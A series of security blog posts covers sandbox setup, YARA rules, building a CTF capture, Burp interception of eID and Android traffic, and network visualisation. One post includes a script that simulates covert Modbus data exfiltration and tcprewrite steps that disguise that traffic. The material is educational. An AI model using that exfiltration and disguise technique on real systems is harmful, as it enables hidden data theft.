Painless Cuckoo Sandbox Installation

TLDR: As part of our SANS SEC599 development efforts, we updated (fixed + added some new features) an existing Cuckoo Auto Install script by Buguroo Security to automate Cuckoo sandbox installation (& VM import). Download it from our Github here.

Intro
As a blue team member, you often have a need to analyze a piece of malware yourself. For example, if you discover a malware sample in your network and suspect it might be part of a targeted attack. There’s a few options in this case: you could reverse the sample or do some static analysis, but maybe you want to get a “quick” insight by running it in a sandbox… It is often not desirable to submit your samples to public, online malware analysis services, as this might tip off your adversaries. So… How to proceed?

In the SANS training SEC599 that we’ve co-developed at NVISO (“Defeating Advanced Adversaries – Implementing Kill Chain Defenses”), we decided we wanted to show students how analysis can be performed using Cuckoo sandbox, a popular open source automated malware analysis system (We do love Cuckoo!).

After re-deploying manually Cuckoo a number of times in different environments, I (Erik speaking here) figured there must be a better way… After doing some Google’ing, I found the CuckooAutoinstall script created by Buguroo Security!

An excellent effort indeed, but it hadn’t been updated for a while, so we decided to update this script to include some additional features and enabled it to run with the latest version of Ubuntu (16.04 LTS) and Cuckoo (2.0.5). You can find it on our GitHub repository.

Preparing your sandbox
Before we do a walk-through of this script, let’s pause a moment to consider what it takes to set up a malware analysis environment. The type of analysis performed by Cuckoo can be classified as dynamic analysis: the malware sample is executed in a controlled environment (a Virtual Machine) and its behavior is observed. As most malware targets the Windows operating system and/or the applications running on it, you will need to create a Windows VM for Cuckoo.

You will need to step out of your role as a blue team member to prepare this VM: this VM has to be as vulnerable as possible! To increase the chances of malware executing inside the VM, you will have to disable most of the protections and hardening you would implement on machines in your corporate network. For example, you will not install an anti-virus in this VM, disable UAC, don’t install patches,…

To properly analyze malicious Office documents, you will use an older, unpatched version of Microsoft Office and you will disable macro security: you want the macros to run as soon as the document is opened, without user interaction.

Take your hardening policies and guidelines, and then …, do the opposite! It will be fun (they said…)!

Using CuckooAutoinstall
Installing Cuckoo with CuckooAutoinstall is easy: prepare your VM and export it to the OVA format, update the script with your VM settings, and execute it as root. We will discuss how you can create Cuckoo analysis VMs in a follow-up blogpost!

It’s best that your Ubuntu OS is up-to-date before you launch the script, otherwise you might encounter errors when CuckooAutoinstall will install the necessary dependencies, like this error on Ubuntu:

20180322-101734

Updating the script with your VM settings is easy, these are the parameters you can change:

CUCKOO_GUEST_IMAGE=”/tmp/W7-01.ova”

CUCKOO_GUEST_NAME=”vm”

CUCKOO_GUEST_IP=”192.168.87.15″

INTERNET_INT_NAME=”eth0″

Then execute the script as root. It will take about 15 minutes to execute, depending on your Internet speed and size of your VM. If you are interested in seeing the progress of the script step by step, use option –verbose.

20180322-110123

When the script finishes execution, you want to see only green check-marks:

20180322-110818

Testing your Cuckoo installation
To start Cuckoo, you execute the cuckoo-start.sh script created by CuckooAutoinstall for you:

20180322-111154

20180322-111236

Then you can use a web browser to navigate to port 8000 on the machine where you installed Cuckoo:

20180322-111315

Submit a sample, and let it run:

20180322-111539

20180322-111721

After a minute, you’ll be able to view the report. Make sure you do this, because if you get the following message, your guest VM is not properly configured for Cuckoo:

20180322-111733

The best way to fix issues with your guest VM, is to log on with the cuckoo user (credentials can be found & modified in the CuckooAutoinstall script), start VirtualBox and launch your VM from the “clean” snapshot.

20180322-111802

20180322-111842

Once you have troubleshooted your VM (for example, fix network issues), you take a snapshot and name this snapshot “clean” (and remove the previous “clean” snapshot). Then try to submit again (for each analysis, Cuckoo will launch your VM from the “clean” snapshot).

This will give you a report without errors:

20180322-112326.png

Conclusion
Although installing Cuckoo can be difficult, the CuckooAutoinstall script will automate the installation and make it easy, provided you configured your guest VM properly. We plan to address the configuration of your guest VM in an upcoming blog post, but for now you can use Cuckoo’s recommendations.

It is possible to install Cuckoo (with CuckooAutoinstall) on Ubuntu running in a virtual environment. We have done this with AWS and VMware. There can be some limitations though, depending on your environment. For example, it could be possible that you can not configure more than one CPU for your Cuckoo guest VM. As there are malware samples that try to evade detection by checking the number of CPUs, this could be an issue, and you would be better off using a physical Cuckoo install.

Want to learn more? Please do join us at one of the upcoming SEC599 SANS classes, which was co-authored by NVISO’s experts!

About the authors
Didier Stevens is a malware expert working for NVISO. Didier is a SANS Internet Storm Center handler and Microsoft MVP, and has developed numerous popular tools to assist with malware analysis. You can find Didier on Twitter and LinkedIn.

Erik Van Buggenhout is a co-founder of NVISO with vast experience in penetration testing, red teaming and incident response. He is also a Certified Instructor for the SANS Institute, where he is the co-author of SEC599. You can find Erik on Twitter and LinkedIn.

Filtering out top 1 million domains from corporate network traffic

During network traffic analysis and malware investigations, we often use IP and domain reputation lists to quickly filter out traffic we can expect to be benign. This typically includes filtering out traffic related to the top X most popular websites world-wide.

For some detection mechanisms, this technique of filtering out popular traffic is not recommended – for example, for the detection of phishing e-mail addresses (which are often hosted on respected & popular e-mail hosting services such as Gmail). However for the detection of certain network attacks, this can be very effective at filtering out unnecessary noise (for example, the detection of custom Command & Control domains that impersonate legitimate services).

For this type of filtering, the Alexa top 1 million was often used in the past, however this free service was recently retired. A more recent & up to date alternative is the Majestic Million.

We ran some tests against a few million DNS requests in a corporate network environment, and measured the impact of filtering out the most popular domain names.

Top 1000.PNG

Progressively filtering out the Top 1000 most popular domains from network traffic. The Y-axis shows the % of traffic that matches the Top list for a given size.

When progressively filtering out more domains from the top 1000 of most popular domains, we notice a steep increase of matched traffic, especially for the top 500 domains. By just filtering out the top 100 most popular domains (including Facebook, Google, Instagram, Twitter, etc.) we already filter out 12% of our traffic. For the top 1000, we arrive at 24%.

We can also do the same exercise for the top 1 million of most popular domains, resulting in the graph below.

Top 1000000.PNG

Progressively filtering out the Top 1.000.000 most popular domains from network traffic. The Y-axis shows the % of traffic that matches the Top list for a given size.

When progressively filtering out all top 1 million domains from DNS traffic, we notice a progressive increase for the top 500.000 (with a noticeable jump around that mark for this particular case, caused by a few popular region-specific domains). Between the top 500.000 and the top 1.000.000, only an additional 11% of traffic is filtered out.

Based on the above charts, we see that the “sweet spot” in this case lies around 100.000, where we still filter out a significant amount of traffic (49%) while lowering the risk of filtering out too many domains which could be useful for our analysis. Finding this appropriate threshold greatly depends on the type of analysis you are doing, as well as the particular environment you are working in; however, we have seen similarly shaped charts for other corporate environments, too, with non-significant differences in terms of the observed trends.

As you can see, this is a highly effective strategy for filtering out possible less interesting traffic for investigations. Do note that there’s a disclaimer to be made: several of the 1Million top domains are expired and can thus be re-registered by adversaries and subsequently used for Command & Control! As always in cyber security, there’s no silver bullet but we hope you enjoyed our analysis :-).

About the author
Daan Raman is in charge of NVISO Labs, the research arm of NVISO. Together with the team, he drives initiatives around innovation to ensure we stay on top of our game; innovating the things we do, the technology we use and the way we work form an essential part of this. Daan doesn’t like to write about himself in third-person. You can contact him at draman@nviso.be or find Daan online on Twitter and LinkedIn.

Creating custom YARA rules

In a previous post, we created YARA rules to detect compromised CCleaner executables (YARA rules to detect compromised CCleaner executables). We will use this example as an opportunity to illustrate how the creation of these custom YARA rules was performed.

In its blog post, Talos shared 3 hashes as Indicators Of Compromise (IOCs):

1a4a5123d7b2c534cb3e3168f7032cf9ebf38b9a2a97226d0fdb7933cf6030ff
6f7840c77f99049d788155c1351e1560b62b8ad18ad0e9adda8218b9f432f0a9
36b36ee9515e0a60629d2c722b006b33e543dce1c8c2611053e0651a0bfdb2e9

Although not explicitly stated in the Talos report, these are SHA256 hashes. We can infer this from the length of the hexadecimal strings. A hexadecimal character represents 4 bits, hence  64 hexadecimal characters represent 256 bits.

Admittedly, YARA is not the best tool to scan files with hashes as IOCs. YARA is designed to use pattern matching to scan malware, and early versions of YARA did not even have the capability to use cryptographic hashes. In later versions, a hash module was introduced to provide this capability.

A simple rule to match files based on a SHA256 IOC can be implemented like this:

import "hash"</p>
<p style="text-align:justify;">rule simple_hash_rule {
condition:
hash.sha256(0, filesize) == "1a4a5123d7b2c534cb3e3168f7032cf9ebf38b9a2a97226d0fdb7933cf6030ff"
}

Line 1 imports the hash module, which we need to calculate the SHA256 value of the content of a file.

The rule simple_hash_rule has just a condition (line 5): the SHA256 value of the content of the file is calculated with method call hash.sha256(0, filesize) and then compared to the IOC as a string. Remark that string comparison is case-sensitive, and that the cryptographic hash functions of the hash module return the hash values as lowercase hexadecimal strings. Hence, we have to provide the IOC hash as a lowercase string.

Using this simple rule to scan the C: drive of a Windows workstation in search of compromised CCleaner executables will take time: the YARA engine has to completely read each file on the disk to calculate its SHA256 value.

This can be optimized by writing a rule that will not hash files that can not possibly yield the hash we are looking for. One method to achieve this, is to first check the file size of a file and only calculate the SHA256 hash if the file size corresponds to the file size of the compromised executable.

This is what we did in this rule:

import "hash"</p>
<p style="text-align:justify;">rule ccleaner_compromised_installer {
condition:
filesize == 9791816 and hash.sha256(0, filesize) == "1a4a5123d7b2c534cb3e3168f7032cf9ebf38b9a2a97226d0fdb7933cf6030ff"
}

In this rule, we first compare the filesize variable to 9791816 and then we calculate the hash. Because the and operator uses lazy evaluation, the right-side operand will only be evaluated if the left-side operator is true. With this, we achieve our goal: only if the filesize is right, will the SHA256 hash be calculated. This will speed up the scanning process by excluding files with the wrong file size.

There is one caveat though: Talos did not report the file sizes for the IOCs they published. However, we were able to obtain samples of the compromised CCleaner files, and that’s how we know the file sizes.

If you are not in a position to get a copy of the samples, you can still search the Internet for information on these samples like the file size. For example, this particular sample was analyzed by Hybrid Analysis, and the file size is mentioned in the report:

You can also find information for this sample on VirusTotal, but the analysis report does not mention the exact file size, just 9.34 MB.

This information can still be used to create a rule that is optimized for performance, by accepting a range of possible file size values, like this:

import "hash"</p>
<p style="text-align:justify;">rule filesize_and_hash {
condition:
filesize &amp;gt;= 9.33 * 1024 * 1024 and filesize &amp;lt;= 9.35 * 1024 * 1024 and hash.sha256(0, filesize) == "1a4a5123d7b2c534cb3e3168f7032cf9ebf38b9a2a97226d0fdb7933cf6030ff"
}

This rule will first check if the file size is between 9.33MB and 9.35MB (1024 * 1024 is 1 MB) and if true, then calculate the hash.

Conclusion

Writing custom YARA rules is a skill that requires practice. If you want to become proficient at writing your own YARA rules, we recommend that you embrace all opportunities to write rules, and step by step make more complex rules.

About the author

Didier Stevens is a malware expert working for NVISO. Didier is a SANS Internet Storm Center handler and Microsoft MVP, and has developed numerous popular tools to assist with malware analysis. You can find Didier on Twitter and LinkedIn.

 

“We are happy to share our knowledge with the community and thus hope you enjoyed the content provided on this article! If you’re interested in receiving dedicated support to help you improve your cyber security capabilities, please don’t hesitate to have a look at the services NVISO offers! We can help you define a cyber security strategy / roadmap, but can also offer highly technical services such as security assessments, security monitoring, threat hunting & incident response (https://www.nviso.be). Want to learn similar techniques? Have a look at the SEC599 SANS class, which was co-authored by NVISO’s experts! (https://www.sans.org/course/defeating-advanced-adversaries-kill-chain-defenses)”

How CSCBE’s “Modbusted” challenge came to be

About the CSCBE

The Cyber Security Challenge Belgium (CSCBE) is a typical Capture-The-Flag (CTF) competition aimed at students from universities and colleges all over Belgium. All of the CSCBE’s challenges are created by security professionals from many different organisations.  The “Modbusted” challenge was created by Jonas B, one of NVISO’s employees.

First, some statistics about the Modbusted challenge during this year’s CSCBE qualifiers. The challenge was rated as quite easy, with a score of 40 points. It was solved by 43 teams, with the first solve by team “Riskture”, about 1 hour and 6 minutes into the CSCBE 2018. Unsurprisingly, all 8 teams that made it to the finals were able to solve it.

Before diving into the details of how it was created, we’ll give you the chance to try out the challenge yourself:

Oh no, we’ve discovered some weird behaviour in a crucial part of our nuclear power plant! In order to investigate the problem, we attached some monitoring equipment to our devices. Could you investigate the captured traffic? Hopefully we’re not compromised …

You can download the PCAP file here: CSCBE_Modbusted

After you’ve solved it, or if you just want to see how the PCAP was created, read on below!

Intro to Modbusted

Another fitting title for this blog post would have been “PCAP manipulation 101”. For this challenge, we didn’t want to generate a PCAP from scratch, since that would probably have required multiple VMs to simulate machines and additional effort to generate some realistically-looking traffic. That’s why we went for an existing PCAP containing sample Modbus traffic, more precisely DigitalBond’s Modbus test data part 1.

This traffic will serve as the legitimate traffic. In the PCAP, we can discern some master devices (for example a human-machine interface), with IPs ending in .57 and .9 that are querying slave devices with IPs .8 and .3 (for example PLCs) using Modbus TCP.

Generating the data exfiltration traffic

The malicious traffic will consist of some kind of encoded data exfiltration from an infected master system towards a fake slave device, which simulates a physical device attached to the network that further communicates with the adversary using a 4G connection. So for this part, two virtual machines were in fact needed to generate the traffic.

For the slave machine simulation, there is a Java application called “ModbusPal” that is able to emulate a Modbus slave. To communicate with the slave, the master can use “mbtget”, a command line Modbus client written in Perl. For the data exfiltration part, we wrote a short script to convert the flag letter per letter into its ASCII code and send that code as Modbus’ unit identifier.

#!/bin/bash

word="CSCBE{MoModbusMoProblems}"
for i in $(seq 1 ${#word}); do 
code=$(echo $(printf "%d" "'${word:i-1:1}")); 
mbtget -r1 -u $code -n 1 172.16.23.163
done

The unit identifier specifies the slave address, but this is often not used, since the slave is usually identified by its IP address. Only in case multiple devices are connected to a single IP, will there be different unit identifiers. As a result, communication containing a lot of different unit identifiers should arouse suspicion.

Will it blend?

Okay, we have simulated data exfiltration using the Modbus TCP protocol. However, the traffic in our malicious PCAP looks nowhere near like the traffic in the original PCAP. So, can we make it blend in?

First of all, while running the script and capturing the Modbus exfiltration traffic, there is also some undesired noise generated by the virtual machines. To get rid of this, we can use a tool called “editcap”, which allows us to delete certain entries or split the PCAP. For example, to delete the first 2 ARP entries in the image below, we run the command below:

arp_noise

 

editcap Malicious_traffic1.pcap Malicious_traffic2.pcap 1 2

Next up is changing the source and destination addresses. We can do this using the “tcprewrite” tool. However, unless you only have unidirectional traffic, we’ll need some extra processing to specify the bidirectional traffic flows. That’s where “tcpprep” comes into play.

Using tcpprep, it’s possible to determine the communication flows in the PCAP and thus mark servers and clients to correctly substitute information. Here, we use the port mode, which is applied when you want to use the source and destination port of TCP/UDP packets to classify hosts. So, by running the following command, we can create a cache file to be used with the tcprewrite command.

tcpprep --port Malicious_traffic2.pcap --cachefile=csc.cache

You can view the information stored in the cachefile by using:

tcpprep --print-info csc.cache

This command also tells us that it marked traffic from the master as “primary” and traffic from the slave as “secondary”. Keeping this in mind, we’ll use the following command to rewrite the layer 3 address information and assign the correct IP addresses. As a result, the master gets the same IP as in the legitimate traffic PCAP, and the slave gets another IP in the same subnet:

tcprewrite --endpoints=10.0.0.57:10.0.0.7 --cachefile=csc.cache --infile=Malicious_traffic2.pcap --outfile=Malicious_traffic3.pcap

It’s nice that we managed to simulate the layer 3 addresses, but one look at the MAC addresses and you immediately notice the malicious traffic. So, for that reason we also need to change the layer 2 addressing info:

tcprewrite --enet-smac=00:20:78:00:62:0d,00:90:E8:1A:C3:37 --enet-dmac=00:90:E8:1A:C3:37, 00:20:78:00:62:0d --cachefile=csc.cache --infile=Malicious_traffic3.pcap --outfile=Malicious_traffic4.pcap

For the master, we obviously chose the same MAC address as the original traffic (00:20:78:00:62:0d). To make the slave less suspicious, we couldn’t keep it at its current value, giving away the VM environment. Instead of picking a random value, we went for a MAC address belonging to MOXA (00:90:E8:…), an industrial device provider. With these actions completed, our data exfiltration traffic blends in with the legitimate traffic.

Traffic merge

Now we have two PCAPs, one with legitimate traffic, and one with malicous traffic. To finish things up, we have to merge them into one file. Thanks to “tcpreplay“, we can retransmit a PCAP’s traffic over an interface, ànd specify the sending rate.

Since the original PCAP has traffic spread over a period of nearly half an hour, we’ll speed things up a little and set the sending rate to 2 packets per second. For the malicious traffic, we have a lot more packets, so to fit the same time frame, we need to set the rate to 5 packets per second.

 

Running both of the tcpreplay commands with Wireshark listening on the interface produces the PCAP that we want!

Jonas is a senior security consultant at NVISO, where his main focus is infrastructure assessments. Next to defensive tasks, such as architecture reviews, he also likes to get offensive and perform network pentesting and red teaming. You can find Jonas on LinkedIn.

“We are happy to share our knowledge with the community and thus hope you enjoyed the content provided on this article! If you’re interested in receiving dedicated support to help you improve your cyber security capabilities, please don’t hesitate to have a look at the services NVISO offers! We can help you define a cyber security strategy / roadmap, but can also offer highly technical services such as security assessments, security monitoring, threat hunting & incident response (https://www.nviso.be). Want to learn similar techniques? Have a look at the SEC599 SANS class, which was co-authored by NVISO’s experts! (https://www.sans.org/course/defeating-advanced-adversaries-kill-chain-defenses)”

Intercepting Belgian eID (PKCS#11) traffic with Burp Suite on OS X / Kali / Windows

TL;DR: You can configure Burp to use your PKCS#11 (or Belgian eID) card to set up client-authenticated SSL sessions, which you can then intercept and modify.

This blog post shows how you can easily view and modify your own, local traffic.  In order to complete this tutorial, you still need a valid eID card, and the corresponding PIN code. This article does not mean that there is a vulnerability in PKCS#11 or Belgian eID, it only shows that it is possible for research purposes.

We sometimes come across web applications that are only accessible if you have a valid Belgian eID card, which contains your public/private key. Of course, we still need to intercept the traffic with Burp, so we have to do some setting up. Because I always forget the proper way to do it, I decided to write it down and share it with the internets.

This guide was written for OS X, but I will add information for Windows & Kali too where it differs from OS X. This guide also assumes that you’ve correctly installed your eID card already, which is a whole challenge in itself…

The target

The Belgian Government has created a test page, which can be found here: http://www.test.eid.belgium.be/ . Once you click on the “Start Test”, you will be taken to the HTTPS version, which requires your client certificate. After entering your PIN code, you can view the result of the test:

Screen Shot 2018-01-15 at 13.15.41

The first thing to do is set your browser to use Burp as your proxy. This can easily be done by using FoxyProxy (FireFox)/SwitchyOmega (Chrome) or your system-wide proxy (shiver).

After setting up Burp, the site will not be able load your client certificate:

Screen Shot 2018-01-15 at 13.41.47

Configuring Burp

Setting up Burp is not too difficult. The main challenge is finding out the location of the PKCS#11 library file. I’ve listed the locations for OS X, Kali and Windows below.

  1. Insert your eID card into the reader and restart Burp
  2. Go to Project settings -> SSL Tab -> Override user options and click ‘Add’
  3. Host: <empty> (or be specific, if you want)
    Certificate type: Hardware token (PKCS#11)
    Screen Shot 2018-01-15 at 12.43.25
  4. Supply the path of the correct library. Here are some locations:
    1. OS X
      /usr/local/lib/beid-pkcs11.bundle/Contents/MacOS/libbeidpkcs11.dylib
      (simlinked to /usr/local/lib/libbeidpkcs11.4.3.5.dylib in my case. There might be multiple versions there, if one doesn’t work, try another)
    2. Windows
      C:\Windows\System32\beid_ff_pkcs11.dll or
      C:\Windows\System32\beidpkcs11.dll
      or use the auto search function
    3. Kali
      /usr/local/lib/libbeidpkcs11.so
      (see “building from source” below)
  5. If you get “Unable to load library – check file is correct and device is installed”, restart Burp with your eID already plugged in and working in the eID viewer.
  6. Enter your PIN, click refresh and select the Authentication certificate:
    Screen Shot 2018-01-15 at 12.44.15
  7. Optionally, restart FireFox / Burp (this fixed an issue once)

Et voila, we can now use Burp to intercept the traffic:

Screen Shot 2018-01-15 at 13.01.39

Building from source on Kali (Rolling, 2017.3)

Installing the default debian pacakge doesn’t seem to work, so we’ll have to compile from source. You can do this by following the steps listed below.

Note that we’ve had Kali VMs crash on boot after installing the dependencies below and compiling the source. An easy solution is to take a snapshot, compile, and copy over the .so, or use the one we compiled (libbeidpkcs11.so).

> wget https://eid.belgium.be/sites/default/files/software/eid-mw-4.3.3-v4.3.3.tar.gz
> tar -xvf eid-mw-4.3.3-v4.3.3.tar.gz
> cd eid-mw-4.3.3-v4.3.3
> apt-get install pkg-config libpcsclite-dev libgtk-3-dev libxml2-dev libproxy-dev libssl-dev libcurl4-gnutls-dev
> ./configure && make && make install

After these steps, you can find the .so library at /usr/local/lib/libbeidpkcs11.so.

About the author

AAEAAQAAAAAAAAYHAAAAJGUzZmUxMmVmLWY3M2MtNDRmNy05YzZlLWMxZTk1ZTE5MWYzMQ
Jeroen Beckers is a mobile security expert working in the NVISO Cyber Resilience team. He also loves to program, both on high and low level stuff, and deep diving into the Android internals doesn’t scare him. You can find Jeroen on LinkedIn.

 

“We are happy to share our knowledge with the community and thus hope you enjoyed the content provided on this article! If you’re interested in receiving dedicated support to help you improve your cyber security capabilities, please don’t hesitate to have a look at the services NVISO offers! We can help you define a cyber security strategy / roadmap, but can also offer highly technical services such as security assessments, security monitoring, threat hunting & incident response (https://www.nviso.be). Want to learn similar techniques? Have a look at the SEC599 SANS class, which was co-authored by NVISO’s experts! (https://www.sans.org/course/defeating-advanced-adversaries-kill-chain-defenses)”

Going beyond Wireshark: experiments in visualising network traffic

Introduction
At NVISO Labs, we are constantly trying to find better ways of understanding the data our analysts are looking at. This ranges from our SOC analysts looking at millions of collected data points per day all the way to the malware analyst tearing apart a malware sample and trying to make sense of its behaviour.

In this context, our work often involves investigating raw network traffic logs. Analysing these often takes a lot of time: a 1MB network traffic capture (PCAP) can easily contain several hundred different packets (and most are much larger!). Going through these network events in traditional tools such as Wireshark is extremely valuable; however they are not always the best to quickly understand from a higher level what is actually going on.

In this blog post we want to perform a series of experiments to try and improve our understanding of captured network traffic as intuitively as possible, by exclusively using interactive visualisations.

Screen Shot 2018-02-15 at 00.07.26.png

A screen we are all familiar with – our beloved Wireshark! Unmatched capabilities to analyse even the most exotic protocols, but scrolling & filtering through events can be daunting if we want to quickly understand what is actually happening inside the PCAP. In the screenshot a 15Kb sample containing 112 packets.

For this blog post we will use this simple 112 packet PCAP to experiment with novel ways of visualising and understanding our network data. Let’s go!

Experiment 1 – Visualising network traffic using graph nodes
As a first step, we simply represent all IP packets in our PCAP as unconnected graph nodes. Each dot in the visualisation represents the source of a packet. A packet being sent from source A to destination B is visualised as the dot visually traveling from A to B. This simple principle is highlighted below. For our experiments, the time dimension is normalised: each packet traveling from A to B is visualised in the order they took place, but we don’t distinguish the duration between packets for now.

network_traffic_as_nodes_raw.mov.gif

IP traffic illustrated as interactive nodes.

This visualisation already allows us to quickly see and understand a few things:

  • We quickly see which IP addresses are most actively communicating with each other (172.29.0.111 and 172.29.0.255)
  • It’s quickly visible which hosts account for the “bulk” of the traffic
  • We see how interactions between systems change as time moves on.

A few shortcomings of this first experiment include:

  • We have no clue on the actual content of the network communication (is this DNS? HTTP? Something else?)
  • IP addresses are made to be processed by a computer, not by a human; adding additional context to make them easier to classify by a human analyst would definitely help.

Experiment 2 – Adding context to IP address information
By using basic information to enrich the nodes in our graph, we can aggregate all LAN traffic into a single node. This lets us quickly see which external systems our LAN hosts are communicating with:

network_traffic_with_context_raw.mov.gif

Tagging the LAN segment clearly shows which packets leaves the network.

By doing this, we have improved our understanding of the data in a few ways:

  • We can very quickly see which traffic is leaving our LAN, and which external (internet facing) systems are involved in the communication.
  • All the internal LAN traffic is now represented as 1 node in our graph; this can be interesting in case our analyst wants to quickly check which network segments are involved in the communication.

However, we still face a few shortcomings:

  • We still don’t really have a clue on the actual content of the network communication (is this DNS? HTTP? Something else?)
  • We don’t know much about the external systems that are being contacted.


Experiment 3 – Isolating specific types of traffic
By applying simple visual filters to our simulation (just like we do in tools like Wireshark), we can make a selection of the packets we want to investigate. The benefit of doing this is that we can easily focus on the type of traffic we want to investigate without being burdened with things we don’t care about at that point in time of the analysis.

In the example below, we have isolated DNS traffic; we quickly see that the PCAP contains communication between hosts in our LAN (remember, the LAN dot now represents traffic from multiple hosts!) and 2 different DNS servers.

network_traffic_rogue_dns_raw.mov.gif

When isolating DNS traffic in our graph, we clearly see communication with a non-corporate DNS server.

Once we notice that the rogue DNS server is being contacted by a LAN host, we can change our visualisation to see which domain name is being queried by which server.We also conveniently attached the context tag “Suspicious DNS server” to host 68.87.71.230 (the result of our previous experiment). The result is illustrated below. It also shows that we are not only limited by showing relations between IP addresses; we can for example illustrate the link between the DNS server and the hosts they query.

network_traffic_rogue_dns_domains_raw.mov.gif

We clearly see the suspicious DNS server making request to 2 different domain names. For each request made by the suspicious DNS server, we see an interaction from a host in the LAN.

Even with larger network captures, we can use this technique to quickly visualise connectivity to suspicious systems. In the example below, we can quickly see that the bulk of all DNS traffic is being sent to the trusted corporate DNS server, whereas a single hosts is interacting with the suspicious DNS server we identified before.

network_traffic_rogue_dns_lots_of_traffic_raw.mov.gif

So what’s next?
Nothing keeps us from entirely changing the relation between two nodes; typically, we are used to visualising packets as going from IP address A to IP address B; however, more exotic visualisations as possible (think about the relations between user-agents and domains, query lengths and DNS requests, etc.); in addition, there is plenty of opportunity to add more context to our graph nodes (link an IP address to a geographical location, correlate domain names with Indicators of Compromise, use whitelists and blacklists to more quickly distinguish baseline vs. other traffic, etc.). These are topics we want to further explore.

Going forward, we plan on continuing to share our experiments and insights with the community around this topic! Depending on where this takes us, we plan on releasing part of a more complete toolset to the community, too.

our_rats_love_cheese_raw.mov.gif

Making our lab rats happy, 1 piece of cheese at a time!

Squeesh out! 🐀

About the author
Daan Raman is in charge of NVISO Labs, the research arm of NVISO. Together with the team, he drives initiatives around innovation to ensure we stay on top of our game; innovating the things we do, the technology we use and the way we work form an essential part of this. Daan doesn’t like to write about himself in third-person. You can contact him at draman@nviso.be or find Daan online on Twitter and LinkedIn.

 

Using a custom root CA with Burp for inspecting Android N traffic

TL;DR: Follow these steps to intercept traffic using Burp with a self made root CA on Android (or any browser)

The problem

In a previous blogpost, we presented a Magisk module that easily integrates user certificates into the system CA store in order to bypass Android N’s new hardened security model. For instrumenting applications, this works pretty well, and it has become a standard module on our pentest devices. The flow is really easy:

  1. Set up your WIFI to use Burp as your proxy
  2. Go to http://burp
  3. Download & install the certificate
  4. Reboot
  5. PROFIT

However, if we now open Chrome on the Android device, we get the following error: NET::ERR_CERT_VALIDITY_TOO_LONG.

If we take a look at the specifics of the certificate, we see that the certificate expires on Jan 11, 2023. A quick google search tells us that Google has chosen only to allow leaf certificates that expire within 39 months. This seems like a reasonable requirement, and after searching Portswigger’s site, the recommendation was to reissue the Burp CA certificate. Unfortunately, the problem persisted after doing so.

Burp also allows us to import a self made certificate + private key to be used instead of the automatically generated one. This sounds like an easy solution, as we can decrease the lifetime of the root CA, so it’s the next obvious step. In practice, it turns out to be a lot more difficult to get the configuration right than you would think. The goal of this blog post isn’t about all my failed attempts and why they failed, but about sparing you the trouble and giving you a working step-by-step guide to get this to work.

As a side note, this problem does not occur with the normal setup, where Burp’s root CA is added as a trusted user certificate. Chrome is only picky about “real” CA, which are evidently installed in the system root CA store. However, as I would like to have one certificate setup to rule them all, I searched for a solution…

The solution – Creating custom CA and importing it into Burp suite

I order to successfully install our custom root CA in both Burp and Android, we need to create a CA that has the v3_ca extension. The following steps are executed on a clean 14.04 Ubuntu installation. Granted, there are only a few steps to the processes, but that’s only because I’m not listing all my failed attempts.

# Keep it clean
> mkdir certificates && cd certificates

# Install openssl
> sudo apt-get install openssl

# Borrow the default openssl.cnf (location may differ, see note)
> cp /usr/lib/ssl/openssl.cnf ./

# Create a private key. 
# It's important to have the v3_ca extension and to supply the openssl.cnf file
> openssl req -x509 -days 730 -nodes -newkey rsa:2048 -outform der -keyout server.key -out ca.der -extensions v3_ca -config openssl.cnf
Generating a 2048 bit RSA private key
....+++
.............................+++
writing new private key to 'server.key'
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:BE
State or Province Name (full name) [Some-State]:NVISO CA
Locality Name (eg, city) []:NVISO CA
Organization Name (eg, company) [Internet Widgits Pty Ltd]:NVISO CA
Organizational Unit Name (eg, section) []:NVISO CA
Common Name (e.g. server FQDN or YOUR name) []:NVISO CA
Email Address []:NVISO CA

# Convert to der format
> openssl rsa -in server.key -inform pem -out server.key.der -outform der
writing RSA key

# Convert key to pkcs8 format
> openssl pkcs8 -topk8 -in server.key.der -inform der -out server.key.pkcs8.der -outform der -nocrypt

Note: The openssl.cnf may be in a different place. Alternatively, you can download the default config from the openssl website.

Let’s take a quick look at the generated certificate:

> openssl x509 -in ca.der -inform der -noout -text
Certificate:
 Data:
 Version: 3 (0x2)
 Serial Number: 17570736880079538514 (0xf3d7cc1942ff0952)
 Signature Algorithm: sha256WithRSAEncryption
 Issuer: C=BE, ST=NVISO CA, L=NVISO CA, O=NVISO CA, OU=NVISO CA, CN=NVISO CA/emailAddress=NVISO CA
 Validity
 Not Before: Jan 11 16:23:19 2018 GMT
 Not After : Jan 11 16:23:19 2020 GMT
 Subject: C=BE, ST=NVISO CA, L=NVISO CA, O=NVISO CA, OU=NVISO CA, CN=NVISO CA/emailAddress=NVISO CA
 Subject Public Key Info:
 Public Key Algorithm: rsaEncryption
 Public-Key: (2048 bit)
 Modulus:
 00:d8:a8:f3:40:39:50:3e:7e:5d:25:e0:62:5d:c9:
 b1:f5:bb:d0:c5:40:5d:1b:68:f4:fc:e7:52:f9:36:
 a9:fa:78:97:76:eb:05:86:0e:70:54:3a:69:9c:e7:
 22:f7:dd:3a:20:71:ee:4a:f6:44:76:02:4f:bd:25:
 31:9f:32:5e:93:34:64:30:a5:6b:8e:79:4d:7d:06:
 e7:7f:fc:26:8f:1a:62:b4:65:08:46:4c:e1:ed:17:
 25:a8:d8:54:7c:61:3b:39:54:8f:f4:66:5f:0d:6f:
 aa:f0:e4:9e:50:af:f4:0b:6e:80:96:98:76:3a:b2:
 3f:a8:5a:92:ea:9d:7c:c3:c9:c5:47:c4:d9:56:e3:
 c0:43:83:3b:fb:08:6d:cf:c9:d0:29:61:1c:26:a3:
 b5:4c:76:bb:0c:88:5c:53:b8:84:31:4b:f8:a4:2e:
 25:29:09:cb:a8:a9:62:de:6e:61:f6:70:e8:85:52:
 34:08:20:d3:ca:ba:1c:81:e3:13:c6:00:d5:2c:3c:
 bd:20:0b:a2:e8:51:cc:e6:68:e1:ef:30:69:ae:fb:
 89:84:83:ad:ea:37:59:b5:f0:0c:30:d1:f9:b6:02:
 2e:12:8f:73:06:02:ed:c5:87:06:43:2d:58:7e:31:
 da:bb:b2:0a:15:ef:c7:19:aa:62:87:96:c0:2a:22:
 e4:03
 Exponent: 65537 (0x10001)
 X509v3 extensions:
 X509v3 Subject Key Identifier: 
 B9:CA:08:19:9A:5F:AE:63:3C:50:83:BC:A1:FA:36:00:B9:66:55:53
